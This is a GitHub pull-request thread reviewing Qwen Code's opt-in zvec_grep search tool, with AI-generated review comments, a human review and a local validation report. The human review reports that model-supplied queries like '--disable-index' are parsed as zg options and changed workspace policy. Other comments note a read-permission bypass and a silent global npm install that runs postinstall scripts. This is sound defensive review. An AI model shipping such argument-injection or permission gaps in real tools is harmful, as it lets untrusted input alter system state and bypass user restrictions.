buildIndexArgs calls addScopeArgs(args, params), which adds --include/--exclude from the current query's path/paths/glob/exclude. Since the job key is per-cwd (one index per workspace), a narrowly-scoped first query builds an incomplete index.
A later broader semantic query sees the index as "ready" but it only covers the original narrow scope — silently returning incomplete results.
Suggested fix: Build the background index without scope args (index the full workspace), or store the scope in the job file and re-index when a broader scope is requested.
— qwen3.7-max via Qwen Code /review
| zvecGrepInstalledInProcess = true; | ||
| } | ||
| if (result.error === 'aborted') { | ||
| zvecGrepInstallPromise = undefined; |
There was a problem hiding this comment.
[Critical] Install promise cached permanently on non-aborted failure
The promise is only reset when result.error === 'aborted'. All other failure modes (network error, EPERM, registry unreachable, disk full) permanently cache the failed promise. Every subsequent runZg call reuses the same stale failure without retrying.
A transient install failure (e.g., network blip, mirror maintenance) permanently breaks auto-install for the rest of the process lifetime. The user must restart the CLI to retry.
| zvecGrepInstallPromise = undefined; | |
| zvecGrepInstallPromise = undefined; |
Reset on all failures, not just 'aborted'. The caching intent (prevent parallel installs) can be preserved by keeping the promise set only while the install is actively in-flight.
— qwen3.7-max via Qwen Code /review
| ); | ||
| } | ||
|
|
||
| protected override validateToolParamValues( |
There was a problem hiding this comment.
[Critical] validateToolParamValues has zero test coverage
This 45-line validation method defines the tool's input contract (operation, query/pattern, path, limit, glob, paths, exclude), but no test verifies rejection of invalid inputs: wrong operation value, empty query/pattern, non-integer or negative limit, malformed paths, or type errors in arrays.
Validation bugs here either reject valid inputs (breaking the tool) or accept invalid ones (causing cryptic downstream errors). This is the primary interface boundary and should have explicit test coverage.
Suggested fix: Add tests for each validation branch — invalid operation, whitespace-only query, negative limit, float limit, empty path, empty glob, non-string in paths/exclude arrays.
— qwen3.7-max via Qwen Code /review
| 'QWEN_API_KEY', | ||
| ] as const; | ||
| const BACKGROUND_JOB_DIR = path.join(os.tmpdir(), 'qwen-zvec-grep-index'); | ||
| const ZG_OUTPUT_LIMIT = 20_000_000; |
There was a problem hiding this comment.
[Critical] Timeout, abort signal, and output truncation paths are untested
Three critical safety mechanisms have zero test coverage:
- Timeout (
ZG_RUN_TIMEOUT_MS = 10_000,ZG_INSTALL_TIMEOUT_MS = 120_000): No test verifies that timed-out child processes are killed and produce the expected error format. - Abort signal: Both
runZgOnceandrunInstallZvecGrepchecksignal.abortedand register abort listeners, but no test exercises either the pre-aborted or mid-execution abort path. - Output truncation (
ZG_OUTPUT_LIMIT = 20_000_000): No test verifies that oversized output is truncated or that the truncation notice is appended.
If any of these fail silently, the tool could hang indefinitely, leak processes, or flood the model with multi-megabyte outputs.
— qwen3.7-max via Qwen Code /review
Suggestions — commit
|
| File | Issue | Suggested fix |
|---|---|---|
zvec-grep.ts:904 |
extractResultFilePaths calls fs.existsSync before Set dedup check — redundant stat syscalls on large outputs |
Add !paths.has(candidate) guard before fs.existsSync |
zvec-grep.test.ts |
Test coverage gaps: semantic-fails-then-rg-fallback path, background index job dedup, parsed.disabled status branch, statusLooksLocalEmbedding detection |
Add tests for each uncovered branch |
zvec-grep.ts:346 |
buildSemanticFallbackQuery returns raw unescaped query when all tokens filtered — rg interprets metacharacters as regex |
return \(?i)${escapeRgRegex(query)}`` |
zvec-grep.ts:611,775 |
runInstallZvecGrep and runZgOnce share ~120 lines of structural duplication (spawn/collect/abort/timeout) |
Extract shared spawnAndCollect helper |
zvec-grep.ts:1089 |
Semantic search failure reason only in debugLogger, not in tool output — LLM sees rg results without knowing semantic failed |
Append diagnostic line to fallback result |
zvec-grep.ts:531 |
Orphaned detached zg --index processes persist after parent CLI dies |
Write PID file so new sessions can detect/kill stale indexers |
zvec-grep.ts:273 |
addScopeArgs merges path+glob into comma-joined --include — zg treats as union (OR), not intersection, silently broadening scope |
Separate path and glob args, or compose into intersected glob |
zvec-grep.ts:527 |
Orphaned log file left in tmp when spawn throws or child.pid is falsy (cleanup handlers registered after pid check) | Add try/catch around spawn to clean up log file on failure |
zvec-grep.ts:583 |
zvecGrepPathDirs hardcodes Unix /bin suffix — npm install -g on Windows places executables in prefix dir, not bin/ subfolder |
Use platform-conditional suffix: process.platform === 'win32' ? '' : 'bin' |
zvec-grep.ts:1130 |
Conflicting tool descriptions when both zvec_grep and grep_search active — RipGrepTool says "ALWAYS use Grep", ZvecGrepTool says "do not use grep_search" |
Update RipGrepTool description at registration to defer when zvec_grep is enabled |
— qwen3.7-max via Qwen Code /review
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed — no blockers. Suggestion-level recommendations are in the Suggestion summary comment below.
There was a problem hiding this comment.
@zhourrr Thanks for moving this from a bundled skill toward an opt-in first-class tool. I reviewed the current head (b5933c38) and am requesting changes because several behaviors are unsafe or incorrect at the core-tool boundary.
-
[P1] Model-controlled queries are passed to
zgwithout an end-of-options boundary. Both semantic and rg argument builders place the query directly in argv. The pinned CLI parses values such as--index,--status, and--disable-indexas options. In an isolated reproduction,zg --disable-index --limit 20changed the workspace policy fromundecidedtodisabled; an rg pattern of--statuswas also parsed as a control option instead of search text. Please place all flags before--, followed by the positional query and paths. -
[P1] The opt-in setting does not document automatic installation. Treating
tools.zvecGrep.enabled: trueas the user's one-time authorization is reasonable, and the runtime should not interrupt subsequent searches with another installation prompt. However, the current setting only says that it registers the tool. Its configuration documentation must explicitly state that first use may runnpm install -g @zvec/zvec-grep@0.1.4. For scale, a clean install added 128 packages and consumed roughly 228 MB across the install prefix and cache. Once this behavior is disclosed at the opt-in boundary, the installation itself does not need another confirmation. -
[P1] The opt-in setting does not document automatic remote indexing. Automatic background indexing is consistent with a low-friction experience once the user has enabled the feature, so no repeated runtime prompt is required. The configuration documentation must, however, make that authorization informed: enabling the tool may launch a detached workspace index, and when
DASHSCOPE_API_KEY,QWEN_API_KEY, orZVEC_GREP_API_KEYis available, the defaultqwen/text-embedding-v4path sends repository content to the remote embedding service and may incur API cost. It should also document the local-model alternative. -
[P1] The first scoped query can permanently produce an incomplete workspace index.
buildIndexArgs()copies the current query'spath,paths,glob, andexcludeinto the persistent index command, but the background job/index identity is only the cwd. The pinned package persists those filters. A later broader search sees a ready index but cannot find files outside the first query's scope. The background index should cover the full workspace, or its identity and expansion logic must include scope. -
[P2] Semantic scope composition is wider than requested.
path-derived patterns andglobare combined into one--includelist, whilezgapplies multiple includes with OR semantics. For example,path=srcplusglob=**/*.tssearchessrc/**and every TypeScript file in the workspace, rather than TypeScript files undersrc. -
[P2] The semantic-to-rg fallback can pass an unescaped natural-language query as a regex. When token filtering removes every token, the raw query is returned. Through the actual tool adapter, the semantic query
a(failed with an unclosed-group regex error, whileC++was interpreted asC+and returned broad unrelated matches. -
[P2] Timeout and install lifecycle handling are not bounded. Timeout sends only
SIGTERMand still waits forclose, so a child that ignores the signal can hang forever. Separately, a non-abort installation failure remains cached for the rest of the Qwen Code process and cannot be retried. Please add bounded termination escalation and keep the install promise cached only while installation is in flight.
Local verification on this head: 666 related core tests and 269 CLI configuration tests passed; full build, typecheck, lint, and git diff --check passed. I also installed the pinned package in an isolated no-credential environment and exercised the real ZvecGrepTool -> zg path. The passing mocked tests do not cover the CLI contract and side effects above.
The PR body also needs to be completed against the current pull request template: Tested on, Environment, Risk & Scope, Linked Issues, and the full Chinese translation are missing. Since this is a cross-package core feature with 1,304 production lines (1,280 under packages/core/src), it also needs explicit maintainer architectural review after the blockers are fixed.
中文说明
@zhourrr 感谢将方案从 bundled skill 推进为可选的内置工具。我审查了当前 head(b5933c38),由于核心工具边界仍存在以下安全性和正确性问题,本轮请求修改:
-
[P1] 模型生成的查询没有通过
--与 CLI 选项隔离。 固定版本的zg会把--index、--status、--disable-index等查询当成控制参数。隔离复现中,zg --disable-index --limit 20将 workspace policy 从undecided改成了disabled;rg 查询--status也没有作为搜索文本执行。请先放置全部选项,再追加--、查询和路径。 -
[P1] 可选配置没有说明会自动安装。 将
tools.zvecGrep.enabled: true视为用户的一次性授权是合理的,后续搜索不应再因安装弹窗而中断。但当前配置只说明会注册工具,配置文档必须明确注明首次使用可能执行npm install -g @zvec/zvec-grep@0.1.4。作为规模参考,干净环境安装新增了 128 个包,安装目录与缓存合计约 228 MB。只要在开启配置时明确披露,自动安装本身不需要再次确认。 -
[P1] 可选配置没有说明会自动执行远程索引。 用户开启功能后自动后台建索引符合低打扰体验,因此无需在运行时反复确认。但配置文档必须让这次授权建立在充分知情之上:开启后可能启动 detached workspace index;当环境中存在
DASHSCOPE_API_KEY、QWEN_API_KEY或ZVEC_GREP_API_KEY时,默认qwen/text-embedding-v4路径会把仓库内容发送到远程 embedding 服务,并可能产生 API 费用。文档还应说明本地模型替代方案。 -
[P1] 第一次窄范围查询会生成永久不完整的 workspace 索引。
buildIndexArgs()把当前查询的path、paths、glob、exclude写入持久化索引命令,但后台任务和索引只按 cwd 标识。后续更宽的查询会看到 ready 状态,却无法找到第一次范围之外的文件。后台索引应覆盖完整 workspace,或者把 scope 纳入索引身份和扩展逻辑。 -
[P2] 语义查询的范围组合比请求范围更宽。 path 产生的 pattern 与 glob 被放入同一个
--include列表,而zg对多个 include 使用 OR。例如path=src加glob=**/*.ts会搜索src/**以及全仓所有 TypeScript 文件,而不是只搜索src下的 TypeScript 文件。 -
[P2] 语义降级为 rg 时可能把未转义的自然语言当作正则。 token 全部被过滤时会直接返回原始 query。通过真实工具适配器测试,语义查询
a(因正则括号未闭合而失败;C++被解释成C+,返回了大量无关结果。 -
[P2] 超时和安装生命周期没有可靠上界。 超时只发送一次
SIGTERM并继续等待close,忽略信号的子进程会永久挂起。另外,非 abort 的安装失败会在当前 Qwen Code 进程中永久缓存,无法重试。请增加有期限的强制终止,并只在安装正在进行时缓存 Promise。
当前 head 的本地验证结果:相关 core 测试 666 项、CLI 配置测试 269 项全部通过;完整 build、typecheck、lint 和 git diff --check 均通过。我还在隔离无凭证环境安装了固定版本包,并执行了真实 ZvecGrepTool -> zg 调用。现有 mock 测试通过并不能覆盖上述 CLI 契约和副作用。
PR 描述也需要按照当前模板补齐 Tested on、Environment、Risk & Scope、Linked Issues 和完整中文翻译。该 PR 是跨 package 的核心功能,包含 1,304 行生产改动,其中 1,280 行位于 packages/core/src;修复阻塞项后仍需要 maintainer 做架构确认。
✅ Local validation report —
|
| Step | Command | Result |
|---|---|---|
| Build core | npm run build --workspace @qwen-code/qwen-code-core |
✅ exit 0 |
| Typecheck | tsc --noEmit (core + cli) |
✅ exit 0 |
| Lint | eslint on the 8 changed .ts files |
✅ exit 0 |
zvec-grep.test.ts |
npx vitest run |
✅ 27 passed |
core/config.test.ts |
npx vitest run |
✅ 371 passed |
coreToolScheduler.test.ts |
npx vitest run |
✅ 259 passed |
builtin-agents.test.ts |
npx vitest run |
✅ 9 passed |
cli/config.test.ts |
npx vitest run |
✅ 269 passed |
| Total | — | ✅ 935 / 935 (5 files) |
2 · Real end-to-end (no mocks): compiled tool ⇄ live zg
The unit tests mock spawn() at the process boundary, so I additionally installed the exact pinned package the tool auto-installs (@zvec/zvec-grep@0.1.4) and drove the compiled ZvecGrepTool from packages/core/dist against the real binary — nothing stubbed except a minimal Config:
- A ·
rg(exact/regex) mode — no index, no API key.pattern:"class ZvecGrepTool"→Found 1 match, correct symbol-aware output, andresultFilePathsresolved + recorded as a partial read. Permission:allow. - B ·
semanticmode with no embedding key → graceful lexical fallback viazg --rg(Found 20 matches), exactly as designed when the vector index / embeddings are unavailable. Permission:allow. - C · external-path safety gate — in-workspace search resolves to
allow(runs silently); a search reaching outside the workspace resolves toaskand produces theConfirm zvec-grep external path searchconfirmation listing the external path. After (simulated) approval it returns the real external match.
3 · Opt-in gating confirmed
Off by default and enforced in three independent places — core (zvecGrepEnabled ?? false), settings schema (tools.zvecGrep.enabled default false), and CLI wiring (=== true, force-off in bare/safe mode). The core config.test.ts additions assert the tool is not registered by default and is registered only when zvecGrepEnabled: true.
4 · Scope not exercised & one consideration for reviewers
- True vector semantic search was not exercised end-to-end — this environment has no embedding API key (
ZVEC_GREP_API_KEY/DASHSCOPE_API_KEY/QWEN_API_KEY) and no built index, so semantic queries fall back to lexical search. The mocked unit test covers the "ready index + key" argv path (--embedding qwen/text-embedding-v4), and I verified the live fallback path; the real vector-ranked results themselves were not measured here. - Auto-install side effect (design note, not a blocker): the first real invocation of an enabled
zvec_grepon a machine withoutzgrunsnpm install -g @zvec/zvec-grep@0.1.4(network + global write), gated only by the opt-in flag — the install itself is not separately confirmed. Since the tool is off by default and only the maintainer/user can enable it, this is acceptable, but worth a conscious decision (and possibly a doc note).
Conclusion
From a local-validation standpoint this PR is green: it compiles, passes the full affected test suite, is correctly gated off-by-default, and the compiled tool works end-to-end against the real zg binary including the external-path confirmation gate. Recommend proceeding, with the auto-install behavior noted above called out for a conscious sign-off.
🇨🇳 中文版本(点击展开)
✅ 本地验证报告 — zvec_grep 搜索工具
我从源码构建了本 PR,并在真实的 zg 二进制上进行了本地验证(不仅仅是 mock 的测试)。结论:可构建、类型检查通过、lint 通过,5 个受影响文件共 935 个测试全部通过,编译后的工具端到端行为正确。文末列出一个供审查者知悉的设计点。
- 测试提交:
b5933c38b(PR head),已合并到main - 环境: macOS(darwin arm64),Node
v22.23.1,npm10.9.8,vitest3.2.4 - 方法: 独立 git worktree + 干净的
npm install;先构建packages/core(CLI 的 config 测试会加载已构建的@qwen-code/qwen-code-core)
1 · 构建 · 类型检查 · lint · 测试套件
| 步骤 | 命令 | 结果 |
|---|---|---|
| 构建 core | npm run build --workspace @qwen-code/qwen-code-core |
✅ exit 0 |
| 类型检查 | tsc --noEmit(core + cli) |
✅ exit 0 |
| Lint | 对 8 个改动的 .ts 文件执行 eslint |
✅ exit 0 |
zvec-grep.test.ts |
npx vitest run |
✅ 27 通过 |
core/config.test.ts |
npx vitest run |
✅ 371 通过 |
coreToolScheduler.test.ts |
npx vitest run |
✅ 259 通过 |
builtin-agents.test.ts |
npx vitest run |
✅ 9 通过 |
cli/config.test.ts |
npx vitest run |
✅ 269 通过 |
| 合计 | — | ✅ 935 / 935(5 个文件) |
2 · 真实端到端(无 mock):编译后的工具 ⇄ 真实 zg
单元测试在进程边界 mock 了 spawn(),因此我额外安装了工具会自动安装的那个固定版本包(@zvec/zvec-grep@0.1.4),并用**packages/core/dist 中编译后的 ZvecGrepTool** 直接调用真实二进制——除了一个最小化的 Config 之外没有任何桩:
- A ·
rg(精确/正则)模式 — 无需索引、无需 API key。pattern:"class ZvecGrepTool"→Found 1 match,输出带符号信息,resultFilePaths正确解析并记录为部分读取。权限:allow。 - B · 无 embedding key 的
semantic模式 → 按设计优雅降级为zg --rg词法搜索(Found 20 matches)。权限:allow。 - C · 外部路径安全门 — 工作区内搜索解析为
allow(静默执行);触及工作区外的搜索解析为ask,并生成Confirm zvec-grep external path search确认框、列出外部路径;(模拟)批准后返回真实的外部匹配。
3 · 确认为可选开启(opt-in)
默认关闭,并在三处独立强制:core(zvecGrepEnabled ?? false)、settings schema(tools.zvecGrep.enabled 默认 false)、CLI 接线(=== true,bare/safe 模式强制关闭)。core 的 config.test.ts 新增用例断言:默认不注册该工具,仅当 zvecGrepEnabled: true 时才注册。
4 · 未覆盖范围与一个供审查者关注的点
- 真正的向量语义搜索未做端到端验证 — 本环境没有 embedding API key(
ZVEC_GREP_API_KEY/DASHSCOPE_API_KEY/QWEN_API_KEY)也没有已构建索引,因此语义查询会降级为词法搜索。mock 单元测试覆盖了"索引就绪 + 有 key"的参数路径(--embedding qwen/text-embedding-v4),我也在真实环境验证了降级路径;但真实的向量排序结果本身未在此测量。 - 自动安装的副作用(设计说明,非阻断项): 在未安装
zg的机器上首次真正调用已启用的zvec_grep时,会执行npm install -g @zvec/zvec-grep@0.1.4(联网 + 全局写入),仅由 opt-in 开关把关——安装本身不会单独确认。由于工具默认关闭、只有维护者/用户能开启,这是可接受的,但值得有意识地决策(并可能加一条文档说明)。
结论
从本地验证角度看本 PR 为绿灯:可编译、受影响测试全通过、正确地默认关闭,且编译后的工具在真实 zg 二进制上端到端可用(含外部路径确认门)。建议推进合并,同时对上面提到的自动安装行为做一次有意识的确认。
|
@qwen-code /triage |
|
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM — well-implemented opt-in search tool with solid degradation story and thorough tests. One note for the maintainer: the auto-install of @zvec/zvec-grep via npm install -g on first use is a trust decision that should be explicitly confirmed. Otherwise, ready to ship. ✅
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
[Critical] zvec_grep is not included in the READ_TOOLS set in packages/core/src/permissions/rule-parser.ts:161. Users who deny Read access to a directory block grep_search, read_file, glob, and list_directory — but zvec_grep bypasses the restriction entirely since it is not in the set. Fix: add zvec_grep to READ_TOOLS and register it in TOOL_NAME_ALIASES and CANONICAL_TO_RULE_DISPLAY.
| child.kill('SIGTERM'); | ||
| }; | ||
|
|
||
| const timer = setTimeout(() => { |
There was a problem hiding this comment.
[Critical] No SIGKILL escalation after timeout SIGTERM.
The timeout handler sends SIGTERM via killForLimit() but never escalates to SIGKILL. If zg traps or ignores SIGTERM, the promise hangs indefinitely — the 10s/60s timeout fails to bound execution time. No SIGKILL string exists anywhere in this file.
| const timer = setTimeout(() => { | |
| const killForLimit = () => { | |
| if (truncated) return; | |
| truncated = true; | |
| child.kill('SIGTERM'); | |
| setTimeout(() => { | |
| if (!child.killed) child.kill('SIGKILL'); | |
| }, 5000); | |
| }; |
— qwen3.7-max via Qwen Code /review
| tools: [ | ||
| ToolNames.READ_FILE, | ||
| ToolNames.GREP, | ||
| ToolNames.ZVEC_GREP, |
There was a problem hiding this comment.
[Suggestion] Explore agent unconditionally includes ZVEC_GREP in its tools array regardless of zvecGrepEnabled. When disabled (the default), transformToToolNames emits a debug warning on every Explore agent spawn.
Consider conditionally including it based on config.isZvecGrepEnabled().
— qwen3.7-max via Qwen Code /review
| return `${trimmed}/**`; | ||
| } | ||
|
|
||
| function expandBraceAlternates(value: string): string[] { |
There was a problem hiding this comment.
[Suggestion] expandBraceAlternates uses greedy (.*) prefix, so only the last brace group is expanded. Input like a.{ts,tsx}.test.{ts,tsx} produces partially-expanded globs (a.{ts,tsx}.test.ts).
| function expandBraceAlternates(value: string): string[] { | |
| export function expandBraceAlternates(pattern: string): string[] { | |
| const match = /^(.*?)\{([^{}]+)\}(.*)$/.exec(pattern); | |
| if (!match) return [pattern]; | |
| const [, before, alternatives, after] = match; | |
| const expanded = alternatives.split(',').map((a) => `${before}${a.trim()}${after}`); | |
| return expanded.flatMap(expandBraceAlternates); | |
| } |
— qwen3.7-max via Qwen Code /review
| cwd: string, | ||
| result: ZgCommandResult, | ||
| ): Promise<ToolResult> { | ||
| const rawOutput = result.stdout.trim() || result.stderr.trim(); |
There was a problem hiding this comment.
[Suggestion] makeSearchSuccessResult uses result.stdout.trim() || result.stderr.trim() — if stdout is empty, stderr warnings are returned as search results, potentially misleading the LLM into treating diagnostic output as actual matches.
| const rawOutput = result.stdout.trim() || result.stderr.trim(); | |
| const rawOutput = result.stdout.trim(); |
— qwen3.7-max via Qwen Code /review
| const exclude = expandGlobs(normalizeStringArray(params.exclude)); | ||
|
|
||
| if (include.length > 0) { | ||
| args.push('--include', include.join(',')); |
There was a problem hiding this comment.
[Suggestion] addScopeArgs joins include patterns with commas (include.join(',')). Paths containing commas become ambiguous when parsed by zg.
| args.push('--include', include.join(',')); | |
| for (const pattern of include) { | |
| args.push('--include', pattern); | |
| } |
— qwen3.7-max via Qwen Code /review
| ZvecGrepTool.Name, | ||
| ToolDisplayNames.ZVEC_GREP, | ||
| [ | ||
| 'zvec_grep is the primary, higher-quality workspace search tool. Use zvec_grep for workspace search by default; do not use grep_search when zvec_grep is available.', |
There was a problem hiding this comment.
[Suggestion] Tool description contains behavioral steering directives ("do not use grep_search when zvec_grep is available", "Trust zvec_grep result quality") rather than factual capability descriptions. This biases the LLM to prefer zvec_grep even when it falls back to plain rg mode.
Consider softening to factual statements about capabilities and letting the system prompt handle preference.
— qwen3.7-max via Qwen Code /review
| const child = spawn('npm', ['install', '-g', ZVEC_GREP_NPM_PACKAGE], { | ||
| env: zvecGrepChildEnv(), | ||
| windowsHide: true, | ||
| stdio: ['ignore', 'pipe', 'pipe'], |
There was a problem hiding this comment.
[Suggestion] npm install -g runs without --ignore-scripts, executing arbitrary postinstall scripts from @zvec/zvec-grep and its transitive dependencies. Combined with the silent auto-install behavior (no user consent), this is a supply chain surface.
Consider adding --ignore-scripts if the zg binary does not require postinstall scripts.
— qwen3.7-max via Qwen Code /review
doudouOUC
left a comment
There was a problem hiding this comment.
Reviewed — no blockers. Suggestions are inline.
| } | ||
| } | ||
|
|
||
| function startBackgroundIndexJob( |
There was a problem hiding this comment.
[Suggestion] startBackgroundIndexJob spawns a detached zg --index with child.unref() and no max-runtime guard. If the indexing process hangs (large repo, network stall for remote embedding, or a zg bug), it runs indefinitely — no one kills it. The only lifecycle management is cleanup on error/exit events, which never fire if the process never exits.
Consider adding a max-runtime timeout (e.g., 30 minutes) that kills the background job:
const maxRuntimeMs = 30 * 60 * 1000;
const watchdog = setTimeout(() => {
try { child.kill('SIGTERM'); } catch {}
}, maxRuntimeMs);
child.on('exit', () => clearTimeout(watchdog));— qwen3.7-max via Qwen Code /review
| return (value ?? []).map((item) => item.trim()).filter(Boolean); | ||
| } | ||
|
|
||
| function getSearchQuery(params: ZvecGrepParams): string | undefined { |
There was a problem hiding this comment.
[Suggestion] getSearchQuery silently drops pattern when query is also provided:
const query = params.query?.trim() || params.pattern?.trim();The schema defines query for semantic and pattern for rg, but both are optional and not mutually exclusive. If the LLM provides both (e.g., operation: "rg", query: "auth middleware", pattern: "authenticateUser"), the pattern value is silently discarded.
Either validate mutual exclusivity in validateToolParamValues, or make the precedence operation-aware:
function getSearchQuery(params: ZvecGrepParams): string | undefined {
if (params.operation === 'semantic') return params.query?.trim() || undefined;
return params.pattern?.trim() || params.query?.trim() || undefined;
}— qwen3.7-max via Qwen Code /review



What this PR does
This PR integrates
zvec_grepas a first-class workspace search tool for Qwen Code. The tool provides two search modes: semantic search for concept-level code discovery, and rg-style exact/regex search for known symbols, paths, literals, and config keys. It supports scoped searches withpath,paths,glob, andexclude, records returned file paths for follow-up read tracking, asks for confirmation when searching outside the workspace, and can start background indexing when semantic search is requested before an index is ready.The built-in Explore agent can also use
zvec_grep, so delegated codebase exploration can benefit from the same workspace search path instead of falling back to baseline grep-only behavior.Why it's needed
Codebase search is a major part of Qwen Code’s everyday workflow. Exact grep is useful when the model already knows the right names, but many code-understanding tasks start with vague concepts, architecture questions, behavior descriptions, or cross-file relationships.
zvec_grepgives the model a semantic discovery path for those cases while still preserving an exact-search mode for known text patterns.The intended result is better first-pass file discovery, fewer broad repeated searches, and a more consistent search interface for both the main agent and Explore.
Reviewer Test Plan
How to verify
Reviewers should verify that
zvec_grepis available as a workspace search tool, supports both semantic and rg-style operations, respects workspace scoping and external path confirmation, records result file paths for follow-up reads, and is available to the Explore agent.Suggested checks:
zvec_grepsemantic search to find relevant files.zvec_greprg search.zvec_grep.path,paths,glob, andexclude.Evidence (Before & After)
Benchmark evidence was collected locally with a 200-session matrix across two representative codebases: this CLI/code-agent repository and a separate vector-search/database repository. The benchmark used 10 code-understanding questions, 5 search modes, and 4 repeated runs per question/mode.
Benchmark summary:
200 / 200.689,891with baseline search to497,905with warm-index zvec and no subagent delegation.391,615with baseline search to277,438with warm-index zvec and no subagent delegation.60/60zvec-enabled runs, averaging685,019total /242,236uncached tokens.53/60zvec-enabled runs, averaging374,147total /177,876uncached tokens.553,556vs929,164average total tokens on the CLI/code-agent repository, and312,829vs719,059on the vector-search/database repository.4.8 / 5in both repositories.0agent calls, and zvec-only modes had0successful baselinegrep_searchcalls.